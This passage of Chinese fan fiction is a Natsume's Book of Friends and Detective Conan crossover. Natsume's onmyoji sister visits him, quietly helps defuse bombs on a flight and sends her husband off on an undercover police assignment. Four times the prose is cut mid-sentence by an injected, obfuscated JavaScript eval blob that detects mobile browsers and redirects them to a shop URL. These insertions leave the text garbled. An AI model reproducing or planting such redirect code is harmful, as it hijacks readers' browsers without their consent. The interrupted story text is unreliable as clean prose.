田沼看向夏目贵志的侧脸,不知道是不是因为以前很少和朋友交流,夏目有时候会完全不自知地说出一些对一般人来讲过于直白的话。 “这样吗……,如果不愿意的话,还是和你姐姐谈一谈比较好吧。” 比起之前单纯的不想成为负担,田沼觉得如果理由是有羁绊的话,夏目的姐姐会更愿意让他留在这边吧。 不过也可能会认为东京那边的条件更好而反对,但只看中午的一面之缘,田沼觉得夏目的姐姐并不是那种很强硬的性格。 * 夏目贵志猜得没错,名幸琉璃这次过来确实是有抱着这样的想法。 因为同样看得见妖怪,她知道像他们这样特殊人是很难融入到普通人中去的,尤其是比起她贵志在掩饰自己上更加不擅长。 即使每隔一段时间都会以到神社求得为名将自己特制的御守送过来,但对于这个血缘关系最亲的弟弟,名幸琉璃还是希望能够放到身边照看。 之前因为羽衣狐千年复活时间将近,比起普通人,灵力强大的贵志要更容易引起她的注意,名幸琉璃才没有强求,甚至都没有在他面前提起过名幸家的事情。 等到羽衣狐事件结束后,又花了点时间断断续续将后续的遗留问题处理好了,包括家庭什么也都安定下来了,她便起了将弟弟接来东京的想法。 甚至在购置婚房的时候她就有考虑过这点,家里也有空房间,刚好可以专门给贵志留一间。 hiro因为警校的训练安排今天没法过来,但上次回来就又询问了不少贵志的喜好,他们还一起再对家里布置了一番,准备了不少这个年纪的男孩子会喜欢的东西。 一部分留在家里,另一部分则带了过来。 在看到贵志在学校里和朋友聊天的时候,名幸琉璃确实也很惊讶,同时对自己的决定产生了一些犹豫。 虽然那孩子每次写信的时候都说自己过得很好,在学校也有和同学好好相处,但看到他的信里没有明确提到哪个同学的名字时她就知道这只是托词。 或许是从小的经历导致,贵志一向是个不愿意麻烦别人,同时喜欢报喜不报忧的性格,如果真的交到朋友,即使关系一般,也绝对会提一提的。 这样看来,应该是新认识的朋友,那孩子看着也是个性格安静的,会和贵志玩到一起倒也不奇怪。 而在夏目贵志下午上课的时候,名幸琉璃也带着几个式神在周围逛了逛。 比起东京,熊本这边因为地处乡下所能看到的妖怪也要更多一些。 本着先随意看看的想法,名幸琉璃一开始并没有上前搭话的举动,然后便被两只牛头和一目的中级妖怪给叫住了。 “纳兹咩sama!纳兹咩sama!” 比起人类,妖怪更多是是根据气味来判断身份。 显然,这两只妖怪是将她认成弟弟了。 长谷部最先想要纠正,不过被名幸琉璃眼神制止了。 贵志一直以来对于妖怪的态度都淡淡的,甚至可以说有些排斥的,难得有妖怪这么开心的过来迎接,她还挺好奇的。 因为不知道贵志是怎么称呼这两只妖怪,名幸琉璃暂时没有开口,但中级们已经先将矛头对向了跟在她身边的几位式神。 “这几位是谁,居然跟在纳兹咩sama身后,是有什么要麻烦纳兹咩sama吗?” “麻烦纳兹咩sama吗?” 虽然没有见过,但知道夏目贵志经常会帮助需要帮忙的妖怪,两只中级便认为这次估计也是一样,有接着道: “如果有需要效劳的地方,尽请交给我们犬之会。” “交给我们犬之会。” 看出阿路基的兴趣,鹤丸国永接话道:“犬之会?” “没错,像忠犬一样随叫随到,夏目组,犬之会。”两只中级一遍说着一边拿着手中的小扇子摆出一个pose,“所以纳兹咩sama需要的事情就由我们来处理。” “汪。” 这边说着,草丛里又钻出几只妖怪,看起来也是夏目犬之会的成员。 鹤丸国永用发现了有趣事物的语气道:“是小胡子诶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036983|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “鹤丸殿。”五虎退拉了拉鹤丸国永的衣角小声道,他觉得这有些失礼了,栗姬则继续当一个合格的背景板。 鹤丸国永:“啊,果咩果咩。” 听到这里,名幸琉璃忍不住发出轻笑:“真是不错的氛围啊。” 而妖怪们也终于意识到了好像有那里不对劲: “纳兹咩sama今天还真是奇怪。” “奇怪。” “和平时不一样的感觉。” “对了,现在不是人类上学的时间吗?” 名幸琉璃看了一下太阳的方位:“嗯……,本来想再往里走一点来着,不过现在回去差不多是放学的时间了,那就先这样好了。” 说完这句话,她才又看向面前的这些妖怪露出一个浅笑:“这样就只能下次再聊了,啊,对了,我的名字是名幸,名幸琉璃,贵志是我的弟弟。” 待看到名幸琉璃和她的式神走远了,刚才安静下来的妖怪们才又说起话来。 “这么说的话,虽然气息差不多,外表上也确实有点差别,比如头发变长了什么的。” “说话的腔调也是。” “纳兹咩sama的姐姐啊……,之前没有听说过呢。” “等下次纳兹咩sama过来的时候再问问吧。” 这么说着,几只妖怪再次散去。 * 名幸琉璃在时间估算上确实没有出错,差不多快到学校的时候就听到下课的铃声响起,稍微等待一会便看到从门口走出来的熟悉的还有些稚嫩的面孔。 朝同伴挥了挥手告别,茶色头发的少年便小跑着来到她的面前。 除了中午见到的那个孩子,还有两个男生看起来和贵志关系不错的样子。 “看起来乡下的生活节奏要慢上不少,也很宜居嘛。” 比起以前去别的收养人家那里看贵志,除了放松和亲近,这次过来明显多了点紧张啊。 是想留在这里吗?好像交到了不少新朋友吗?不管是人类还是妖怪。 “对了,我这次还带了东京的特产过来,不知道藤原伯父和藤原阿姨他们会喜欢吗。”名幸琉璃说着,提了提手里的东西示意。 “啊,塔子阿姨和滋伯父应该都会喜欢的。”夏目贵志原本还有几分沉浸在该怎么和姐姐说的思绪中,现在才回过神来。 这样啊,听起来贵志在藤原家过得还不错嘛,提起来比起其他收养人家要少了不少拘谨和客气。 “姐姐你呢,课业和生活都还好吗?” “嘛,和以前差不多,因为已经大三了,大家现在都在考虑就业相关的问题,因为没什么头绪还打算考研继续深造看看来着。” 这点夏目贵志倒没什么意外,毕竟他印象中姐姐也一直都是优等生。 “那,和姐夫呢?” 夏目贵志记得姐姐是在来到他们家之前就和现在的姐夫认识的,他只知道两人一直有保持联系,但因为本身就和名幸琉璃分开,所以和诸伏景光也只见过三四面。 “很好哦,hiro现在在警校读书,之后就是在职警察了,所以如果贵志在东京遇到什么小偷、抢劫、杀人、炸弹或者恐怖组织袭击之类的事情就不用太慌张了。” “城市里现在这么危险的吗?” 之前也是从城里转过来的夏目贵志语气有些疑惑,他还从没遇到过名幸琉璃提到的这些,只是原本有些紧绷的心态在和姐姐聊过几句后又稍微放松了一些。 “这样的话姐姐你出门的时候一定要注意安全啊。” 14.第 14 章 名幸琉璃这趟来得算突然也不算突然。 因为有提前通知,藤原夫妇知道贵志的姐姐这两天会过来,只是他们本以为会是明天。 因此看到名幸琉璃和夏目贵志一起进来的时候还有些惊讶。 而比起夏目,也许是因为经历不同,名幸琉璃要更擅长和人打交道一些,几句话的功夫就和第一次见面的藤原夫妇亲近了不少。 当然,这其中也有夏目贵志在其中发挥作用。 与此同时,先到楼上将装着课本的提包的夏目贵志也看到了房间里的猫咪。 “猫咪老师?!老师今天是都待在房间里吗。” 刚才居然都没注意到猫咪老师今天没有一起回来,平时猫咪老师可是经常会从路边跳出来要他去买七辻屋的馒头。 “算了,马上要吃饭了,猫咪老师和我一起下去吧。” 听到‘吃饭’这个词,猫咪老师伸直腿站了起来舔了舔其中一只前爪:“刚才和你一起回来的那个就是你说的姐姐,玲子的外孙女吗?” 夏目贵志没有多想:“嗯,姐姐是姨母的孩子,和我一样从小就能看到妖怪,不过对于掩饰自己看得到妖怪这点可比我厉害多了。” 如果不是小时候一起生活,夏目贵志觉得光靠自己观察说不定都看不出姐姐也看得见妖怪。 猫咪老师眼睛微眯,比起夏目这家伙虽然同样拥有强大的灵力却因为不知如何调用而任其发散浪费,下面那个丫头周身灵力明显要更有章法体系,内敛而强大,就连他都有些看不出深浅的感觉。 对视线也很敏感,想到刚才从窗户望下去的那个对视,猫咪老师又舔了两下爪子,还有跟在她身后的几只大妖怪…… 简直就像是一个老练的除妖师。 这么说的话,夏目戴在身上的那个护身御守,据说是姐姐从有名的神社求来的,其实应该是那丫头自己的作品吧。 嘛,那个御守上术可不简单,之前还以为是大城市的能人比较多,或者托了什么特殊的关系,不过这样看来那丫头对夏目还挺疼爱的。 看出这点,猫咪老师却没有打算说出来。 反正这是他们姐弟之间自己的事。 “喂,夏目,友人帐的事情,你有打算告诉那个丫头吗?” 夏目贵志楞了一下,然后看向猫咪老师露出一个微笑:“那样会将姐姐也牵扯到麻烦之中的吧。” 没错,反正这也不会影响他等夏目死后拿到友人帐。 猫咪老师脚一蹬往楼下跑去。 哼,刚刚好像闻到炸虾的味道了。 夏目贵志失笑,老师还是和平时一样呢。 一楼 猫咪老师刚下来,原本正和塔子阿姨还有滋伯父聊天的名幸琉璃便注意到他了。 “哦呀,这是猫咪?” 一开始和贵志一起回来的路上就有感觉到,只是没走多久气息就消失了,刚才又在二楼看到,原来是家养的吗? 这个气息,还是一只大妖怪啊。 塔子阿姨看起来很喜欢这只猫咪,还给他取了猫吉这样的名字:“突然有一天贵志就抱着猫吉回来了,这还是他第一次向我们提要求,那之前总是比较客气疏离。” 看得出来,塔子阿姨很高兴贵志能够不再那么客气。 也对,家人之间的相处本就该不客气一些。 名幸看过不少妖怪与妖怪的故事、妖怪和人类的故事以及人类之间的故事,也看得出塔子阿姨和滋伯父都是真心把贵志当成自己的孩子。 而贵志也同样很喜欢这里。 既然这样…… 比起和她到东京去,难以避免地接触到一些阴阳师相关的事,也许还是在慢节奏的乡下,和那些凭借她给贵志的御守就能震慑处理的妖怪相处,更适合贵志吧。 名幸琉璃蹲在已经趴在饭碗前等开饭的猫咪老师面前,恍若什么都未察觉的普通人一样摸了摸这只看起来要更胖一些的猫咪的脑袋: “那我们家贵志以后还要继续麻烦猫吉多关照了。” 猫咪老师‘喵’了一声,眯着的眼睛张开一只看了眼名幸琉璃,同时推了推面前的碗,像是在说怎么还不开饭。 * 夏目贵志所纠结的事情到底没有发生。 在藤原家住过几天,确定贵志现在要开朗不少,交到了不少人类朋友和妖怪朋友,还有爱着他的塔子阿姨和滋伯父后,名幸琉璃便提出了告辞。 夏目贵志肩膀上蹲着猫咪老师,塔子阿姨和滋伯父也在不远处,他们现在在车站为名幸琉璃送行。 她要从这边车站坐到机场,然后直接坐飞机回东京。 而现在是他们姐弟见单独的对话,至少明面上是这样的。 “贵志还以为我这次会带你一起走吧?”名幸琉璃拉着行李箱,语气有些狡黠地开玩笑道。 “一开始是这样,但是看姐姐你之后没再提起我就知道了。”夏目贵志的笑容稍显无奈,他知道姐姐打消这个念头的时间应该比他看出来要更早一些。 这就是血缘的神奇,夏目贵志和名幸琉璃的笑容看上去其实并不十分相似,却同样透着这种带着温柔的疏离感。 即使作为成年人的名幸琉璃已经学会在人际交往的时候用面具来掩饰,有时候也还是难免会露出这样有些孤独的表情。 但所幸,她身边已经有了想要相伴着走下去的对象,也有关爱她的家人,和能够互相理解的友人。 而她的弟弟贵志也正在这样一条路上走着。 一切都在往好的方向发展。 “那么,有时间也来东京看一看吧,虽然不像熊本这边的生活那么闲适,但是,城市也有城市的风光。” 语气有些俏皮地说完这句话,名幸琉璃又贴近和猫咪老师的距离,露出一个灿烂的笑容:“贵志的安全就还请猫吉老师注意了,之后我会多寄一些东京的土产过来的。” 猫咪老师先是眼睛放出光亮,然后又故作矜持地恢复到平常的样子:“我当然知道。” 虽然仅仅是保护安全的话,名幸的御守在大部分情况下都没有问题,但既然已经承诺了东京的土产,那就没有收回去的道理了。 离别的话不必多说,名幸琉璃最后隔着火车的窗户向夏目贵志那边挥了挥手,塔子阿姨和滋伯父正站在他的身后。 从熊本这边的车站换乘,然后坐飞机到东京的机场,差不多两个小时多的时间,刨去其他,其中要在飞机上的时间约为一个小时。 名幸琉璃的行李已经提前托运,只剩下一个提包装着塔子阿姨临走前热情塞过来的自制果酱和从被强烈推荐的七辻屋购买的点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048075|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 一个小时说长不长说短不短,为了打发时间她还特意将自己之前看到一半的小说放到包里。 不过这次她算是失策了。 坐在她前排座位的是一对带小孩的夫妻,男方名幸琉璃没什么印象,女方则用帽子墨镜和口罩做了严密的伪装。 如果不是他们的孩子在离开座位回来后低声说了句在厕所发现了炸/弹,又恰好名幸琉璃的听力要比一般人好一些,她也不会过多关注这看似平常又有些不一般的一家人的。 真是的,名幸琉璃在心里叹了口气。 因为丈夫是警察预备役,加上本身居住在东京,她对各类案件也算是有些了解。 既然能在厕所发现一处炸/弹,说明飞机上很可能不止这么一例。 此外,暂且不谈这些炸/弹犯的目的,无论是想挟持客人以获得赎金,还是单纯的恐怖袭击,又或者只是某个杀人犯的作案方式等,这个安装炸/弹的人都很有可能也在飞机上。 那么,将飞机上藏有炸/弹这件事直接告诉机长显然是行不通的,结合她之前在米花町便利店遇到的抢劫事件,说不定还有一定可能连机长都是犯人那边的。 更别提到时候会引发的骚乱之类的连锁反应。 不过相较而言,在找到炸弹而不惊动犯人这点上名幸琉璃觉得还是她这边更方便一点。 毕竟,他们可不是一个人。 比起人类,可以不被看到的式神无疑是最好的帮手,不仅在隐蔽方面,速度也是极快的。 听到那个男孩的话,旁边的父亲表情瞬间严肃了起来,然后又装作若无其事地往厕所的方向走。 看起来应该是去查看情况了,不知道他会不会处理那个炸/弹。 接着名幸琉璃又听到那个母亲喊了一声‘小新’,然后那孩子便有些坐不住地从座位上下来了,看起来像是个有些多动的普通孩子。 但她猜测这孩子估计是想去找剩下的炸弹在哪里。 而在这同时,名幸琉璃将手上的书又翻过一页后像是突然不想看了地合上,然后在这对母子经过时叫住了他们:“请等一下。” 她蹲下身让视线和男孩齐平,露出一个温和的笑容:“虽然离飞机落地还有一段时间,但到处乱跑可不是乖孩子的行为。” 名幸琉璃说着,从包里拿出一份七辻屋的羊羹,“这个是据说很好吃的点心,吃完休息一下差不多就到家了,不要让你妈妈太辛苦了哦。” 工藤新一礼貌接过,心里却有些着急,他只是借着坐不住地样子,实际上是想和老妈一起去找找飞机上还有没有剩下的炸/弹。 不过越是着急越不知道该怎么说,就算说是想去厕所,这个姐姐就坐在他们后面,应该也有看到他才刚回到座位上。 于是工藤新一询问地看向旁边牵着他的工藤有希子,希望老妈能找到一个借口让他脱身。 结果带着墨镜的工藤有希子就像是完全没接收到他的信号,就好像名幸琉璃所说的理由就是事实地笑着道谢:“真是麻烦了,小新这孩子总是有些毛躁,小新,快点谢谢姐姐。” 工藤新一不明所以,但还是伸手接过名幸琉璃递过来的羊羹:“谢谢姐姐你的点心。” 虽然以他这个年纪还不能完全掩盖住脸上的焦急和心不在焉。 15.第 15 章 虽然拿着点心回到了座位上,工藤新一却更为焦躁了。 还是工藤有希子语气里带着一点调笑:“小新可不要辜负后面那个姐姐的心意啊。” 工藤新一露出半月眼,都什么时候了啊。 虽然这样还是打开了装有羊羹的纸袋,然后在打开的一瞬间整个人顿住了。 在袋子里包装好的羊羹之上,有一张不大不小的纸条,上面写了几个飞机上的位置,或许是担心被当成什么无关紧要的信息,结尾有一句‘炸/弹所在处’。 工藤新一诧异地抬头看向工藤有希子,引得她也凑了过来,沉默片刻后发出一声感慨:“哦呀,看起来很可口的点心呢。” 比起这个,他更想知道后面那个大姐姐是怎么给出这几个地点的。 明明飞机起飞没多久,而他们也都在位置上,看上去那个大姐姐也只是一个人乘飞机,没有看到什么同伴的存在。 至于会不会是随便乱写的,只要那个大姐姐不是炸/弹犯的同伙,应该就不会在知道自己生命受到威胁的时候开这种玩笑。 而如果是炸/弹犯的话就更简单了,原定的计划被破坏,一般都步骤自然是先抓个人质,像他和老妈这样的女人小孩就是人质的最佳选项。 可以毫不犹豫地说,在炸/弹犯的人选上,现在包裹得严严实实的老妈看着都比后面那个大姐姐可疑。 虽然这样,在看完那张纸条上的内容后,工藤新一还是忍不住回头看了一眼后面的名幸琉璃,然后得到了她好像什么都不清楚的疑惑的一眼。 怎么可能真的什么都不清楚啊!如果不是急着处理这些炸/弹,工藤新一很想这么对后面的名幸琉璃喊道。 * 有了炸/弹的位置,接下来的事情就很容易。 不管是工藤优作还是前两年就已经在夏威夷培训过拆/蛋技术的工藤新一面对这种场面都有一种熟练感。 不仅如此,在乘客座舱下方的货舱里,工藤优作还发现了几个处于昏倒状态手脚被绑住的人。 那旁边还放着一个遥控器。 看来已经可以确定就是这次的炸/弹犯了。 这种作风……,工藤新一露出半月眼,虽然没有证据,但显然肯定就是刚才那个大姐姐吧。 没有引起恐慌,也没有面对挟持人质或是恐怖袭击或是要求机长和地面对话缴交赎金,如此轻松就解决了,居然还有种不真实感。 这么一场有惊无险过去后,广播也开始播报起了下落通知。 “虽然炸/弹犯里有一个乘务员,但好在这次机长没有出问题,即使开飞机也不是很难但每次都来这么一出还是很令人苦恼,好在现在就只需要等落地后再给警视厅那边报个警就好了。” 已经回到座位上的工藤优作开着玩笑道。 作为成年人,他们知道就算问了也得不到什么答案,每个人都有自己的秘密,既然对方明星不想多说还是保持正常距离就好。 但工藤新一作为一个孩子显然难以按耐内心的好奇,尤其在现在问题已经解决之后。 即使因为马上要落地没有解开安全带,也努力偏过头想跟坐在后座的名幸琉璃说话。 他真的很好奇对方是如何知道那些炸/弹的位置,又是如何找到犯人并将他们都打晕绑好的。 明明在他出去前都坐在位置上,甚至当时飞机都还没起飞多久。 不过也由于这个动作对于他的个子来讲还是比较困难,工藤有希子又强调不许解开安全带,恰好名幸琉璃还是坐在他的正后方,以至于工藤新一在座位上扭动了半天,却连名幸琉璃的半根发丝都没看到。 而在他看不见的地方,这次行动真正的动手者之一——鹤丸国永正双手倚在工藤新一的座位背靠上一脸认真地点评: “这是什么动作,嗯……,有点像爬行的毛毛虫。” 这样的评价引得栗姬都忍不住轻笑出声。 而等到飞机停稳了,工藤新一正要找名幸琉璃搭话,却又被其他大人挡住了视线,之后就更是完全找不见名幸琉璃的身影了。 “可恶。”最后就只能留下这么一句。 不仅没能问清谜题,甚至连对方的名字都不知道。 * 被工藤新一惦记的名幸琉璃自然是早就从出站口出去了,她可没有应付好奇心重小孩的打算。 将提前托运的行李拿下来,却在走出机场的时候看到惊喜。 名幸琉璃拉着小行李箱小跑起来,然后在跑到诸伏景光面前的时候慢下速度,整个人扑到他的怀里。 “欢迎回来!”诸伏景光带着笑意道,在松开手后接过名幸琉璃的行李。 “还以为你今天没时间过来。” “我请了一天假,出发没收到消息,这次总不能让你再一个人回去了,别人都有接机,一个人未免太孤单了。” 一个人未免太孤单了…… 说实话,只要名幸琉璃愿意,她和谁都能聊得来,式神、其他妖怪、阴阳师、普通人、家人,等等等等…… 即使有交集的人这么多,但可能是自小的经历和生来背负的责任,比起其它直白的情话,这句话却是最戳中她的心的。 真是贪心啊,明明有这么多人陪着,还是总是会不自觉地感到孤单。 也正因为这个,她才更喜欢和hiro待在一起,因为只有爱情是完全独有的,具有排他性的情感。 她难得地没有立马回应,微低着头,脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050727|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不自觉地放缓了一点。 走在前面的诸伏景光没有察觉到什么,只是下意识地拉住她的手,让两人的距离更近一些。 而名幸琉璃也在愣了一下后很快别开头嘟囔道:“hiro真是犯规。” 她为了担起名幸家家主的责任,从小就学会利用柔和的长相,总是戴上看似温柔的假面好让人下意识放下警惕,好在合适的时机让对方更清楚地意识到名幸家从来不是谁都能碰上一手的家族。 但hiro的温柔是出于本性的温柔,毫无保留又不出于特定目的的,也是真正能够触动她的温柔。 即使他还没有完全进入到自己这边的世界,即使他明知道自己有很重要的事情瞒着他,却总是只默默地陪伴,等她收拾好心情。 名幸琉璃松开和诸伏景光牵着的那只手,改为更为贴近地挽住他的手臂:“走了走了,再晚就错过饭点了。” “是!”诸伏景光识趣接到。 虽然不知道是发生了什么,但琉璃向来是直球系,难得今天能看到她害羞。 像小孩子一样把头别开,白皙的脸颊和耳垂都染上薄红,就连语气也不自觉带上撒娇的感觉,是平时难得一见的风格,也难怪琉璃酱喜欢看他害羞。 以至于又走了一小段路后,诸伏景光才想起名幸琉璃这次去九州是打算把弟弟夏目贵志接过来的。 “那孩子没有一起过来吗?” 提到弟弟,名幸琉璃眼底带上笑意:“啊,比起东京,也许熊本会更适合他,藤原夫妇都是很不错的人,贵志也交到了新的朋友。” 诸伏景光其实也只见过夏目贵志几次,其中一次是在婚礼上,那孩子是伴郎之一,剩下的也是名幸琉璃去看望的时候一起带上的。 在他印象里,那个孩子相较同龄人要更瘦弱一些,虽然在姐姐面前会稍微活泼一点,但整体比较孤单内向。 就像是失去庇护被迫长大的幼鸟,让人不自觉地想多怜惜几分。 在听到琉璃说想要将弟弟接来一起住的时候,他还去买了不少据说现在的高中男生会喜欢的漫画游戏和模型。 甚至连青少年心理相关的书籍都买了好几本打算研究一下。 “这样啊……,不过,比起都市,也确实慢节奏的乡下更适合生活。” 虽然说是大都市,但是东京每年的犯罪率也都是一骑绝尘呢。 名幸琉璃拍了拍他的肩膀做安慰:“没关系,贵志说了之后会来东京玩的,那间屋子也不算白收拾。” “这个倒是无所谓啦,贵志君能交到朋友才更值得开心,琉璃酱之前不是一直很担心这个吗。” “看到他现在的状态,我也总算放心不少。”这应该算是这趟最大的收获了。 16.第 16 章 诸伏景光这一批警校生是在四月入学,十月毕业。 随着夏天的过去,目前离这一批警校生毕业也就剩下半个多月的时间。 也因此,据名幸琉璃所知,不少部门会在这个时候提前到警校招生,像是松田君和萩原君准备去爆/处组,伊达君也打算进入搜查一课。 但比起他们三个,hiro和降谷对于毕业后的去处好像都还没决定。 名幸琉璃对这个其实并不算特别在意。 毕竟无论是她家旦那还是降谷在警校的成绩都十分优秀,完全就是去哪里都会发光,应该引起其他部门争抢的那种才对。 如果不是因此这次周末回家时,她发现hiro的状态大不对劲。 从一进门她就发现了,虽然还是和平时一样温柔贴心,但有时候又突然间不知道在想些什么的走神。 哪怕这样的次数只有一两次,但对于一向熟悉诸伏景光的名幸琉璃来讲也过于明显了。 更别提她不经意间问起对于他们毕业后打算去哪个部门,有没有相关部门的人来招人的时候。 看到hiro摇头说还在考虑中时,名幸琉璃内心便涌现出一种强烈的直觉。 于是在吃过饭后,名幸琉璃跪坐在茶几前。 她今天穿着一条白色露肩连衣裙,腰部由咖啡的系带收住,再搭配一条珍珠手串,明明是比较都市的穿搭,此时却有种和风的感觉。 尤其是当茶叶和茶水在她双手间流转,眼眸低垂的神色与流水一般的动作就好像仕女从画中走出。 直到名幸琉璃最后用茶壶斟满两杯,又将其中一个茶杯推到他的面前,诸伏景光才恍然惊醒过来。 他端起茶杯,先是在茶香中欣赏了一会茶汤的颜色,小酌了一口后笑道:“这次是静冈红茶啊。” 作为霓虹的三大名茶之一,比起宇治茶和峡山茶,静冈茶更要以颜色出名,这次泡出的茶汤口感也更醇厚。 琉璃的茶道十分精湛,每次看到琉璃煮茶他都忍不住沉醉在这之中,于是逐逐渐渐地,他的品茶水平也得到了不少的提高。 “不过,这么正式,是有什么事情要说吗?” 琉璃虽然擅茶道,但并非每天都要来这么一趟流程,而是经常在有什么事情要宣布前来这么一趟。 比如说上一次是在提出想让夏目君过来一起生活。 不过上上次是宣布自己打算坚持每天晚上十点睡早上六点起,后来好像就坚持了不到一周,上上上次则是表明家里出现了蟑螂,要进行大扫除总动员。 果然,名幸琉璃的脸色更为凝重。 不过她这次要说的事情却是让诸伏景光愣了一下: “hiro收到了去做危险事情的邀请吧,让我猜猜,是公安的潜入任务?”虽然是疑问句,语气却很肯定。 诸伏景光把茶杯放下,笑容中露出一抹无奈:“被看出来了啊……,不过,我还在考虑中。” 不久前他收到了公安那边的邀请,加入之后应该很快会被派去执行秘密潜入任务。 沉默片刻,名幸琉璃的脸上再次浮现出浅笑: “由正义感和责任感而闪烁的灵魂,才组成了现在在我面前完整的hiro,如果是顾忌到我的话,只要hiro在黑暗中行走的时候,还记得光明之下有人在等着就好。” 他们阴阳师不也是如此。 当妖怪来临的时候,不论是哪一家,家主长老还是普通子弟,也不论是壮年还是学生,因为是阴阳师,所以断没有在妖怪面前当逃兵的说法。 要真说起来了话,名幸琉璃也不觉得她有那个资格让hiro不去。 毕竟当时她回京都讨伐羽衣狐前,“可是连遗书都准备好了……” 一旦失败,贵志将作为她选定的继承人继承名幸家的遗产,继续为下一次讨伐羽衣狐做准备。 不过即使当时没能顺利解决,以他们家加上花开院和奴良组的能力,起码也能封印几十年乃至一两百年,那就要看后辈的能力了啊…… 那半句呢喃的声音过小,即使是坐在旁边的诸伏景光也没有听清楚地反问:“什么?” 名幸琉璃笑着摇了摇头:“没有,总之,hiro只要做你想做的选择就好了。” “对了,生活痕迹还有照片什么的应该也都不能保留吧,这些也都交给我吧。” 虽然这么说,但看到那些饱含回忆的物品,名幸琉璃终究还是狠不下心。 算了,放在老宅的资料室里吧,隐藏藏书室的术凝聚了名幸家千年的智慧,毕竟可以毫不夸张地说,那间藏书室可是名幸家的根本。 只有名幸家的血脉或者得到首肯运用特殊的步骤才能打开,如果真的有什么邪恶分子进去了,名幸琉璃觉得到那时阴阳师界也肯定要迎来一场大麻烦了。 如果hiro要去潜入的那个黑色组织真的能在几年内做到这一步,那么名幸琉璃真的要操心一下霓虹这个国家的未来了。 而诸伏景光也做下了没有超出名幸琉璃意料的决定。 在出发前最后一次回到家的时候,看到有些沉默的诸伏景光,名幸琉璃轻笑出声:“我还以为hiro会招呼不打一声的离开呢。” “那样的话,琉璃肯定会很生气的吧。” “你说的对。”名幸琉璃说着,将短刀五虎退和一个御守递给诸伏景光,“其他的没有办法,这个御守是我自制的,找大师开过光,刀则是父亲留给我的,也是祖上传下来的,总之,这两个都要贴身带着,就算是洗澡也要放在不远的地方……” 名幸琉璃一脸认真的强调,这个御守能让hiro在别人看来变得平平无奇从而下意识忽略。 作为阴阳师家族,名幸家的术基本都和妖怪相关,而妖怪基本以气息认人,因此在外貌上只需要简单的伪装就好。 没有参考的情况下要达到现在的效果,这个御守里的阵还是她自己研究了好久,即使如此因为时间原因来不及试验而还是有不少缺陷。 其中之一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054751|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是对原本认识的人没办法奏效,气息也没办法改变,也就是对妖怪失去了这样的作用,另外就是御守虽然在她的操作下已经和hiro绑定了,但只有在五米内才有效。 至于还有没有什么其他的问题,因为来不及多实验,名幸琉璃也看不出什么,只能说先用着了。 说着让hiro不用顾忌她,但等到分别的时候,她还是很难安下心来地多加叮嘱。 真要说起来,比起更多依靠实力的妖怪,还是人心更难以应付吧。 诸伏景光也耐着性子听着妻子的叮嘱,那个浅蓝色的御守似乎是为了低调,上面没有任何的花纹样式,但在他心中却带着沉重之感。 这把名为‘退’的短刀的由来诸伏景光一直也很清楚,他知道这把刀对琉璃有着重要意义的存在,只是没想到这次会把它拿出来。 “我把它们一起带回来的!” 虽然决定走上这样一条路,但诸伏景光内心难免还是有些忐忑的,此时听到妻子的叮嘱倒觉得安心不少,好像获得了更多的力量。 诸伏景光笑着,就像以往每次离开家门一样。 在他看不见的旁边,五虎退也小声而又坚定道:“我也会替琉璃大人守护好景光大人的。” 退是父亲送给她的第一份正式的礼物,是从小一路陪她走来的伙伴,是在治退羽衣狐时并肩的战友。 无论是退还是hiro都是她生命中重要的一部分,看着两人这样站在一起的样子,还想再交代些什么的名幸琉璃终于止住了话头,今天一直严肃的面色终于露出一个浅笑: “真是的,总之,祝君武运昌隆。” 名幸琉璃的身后,虽然不被看见,几位式神也跟着道:“祝君武运昌隆。” 在临走之前,名幸琉璃再一次用力抱紧了诸伏景光,像是要传达什么力量,又在诸伏景光转身后温和地抚上五虎退的短发。 然后在目送他们离开后,才捏着手里的戒指关上门。 这是她和hiro的婚戒,一枚在名幸琉璃左手无名指上,另一枚在刚刚也被放到她这,名幸琉璃找了跟比较素的项链将上面的挂饰拆掉,把戒指穿了进去戴在脖子上。 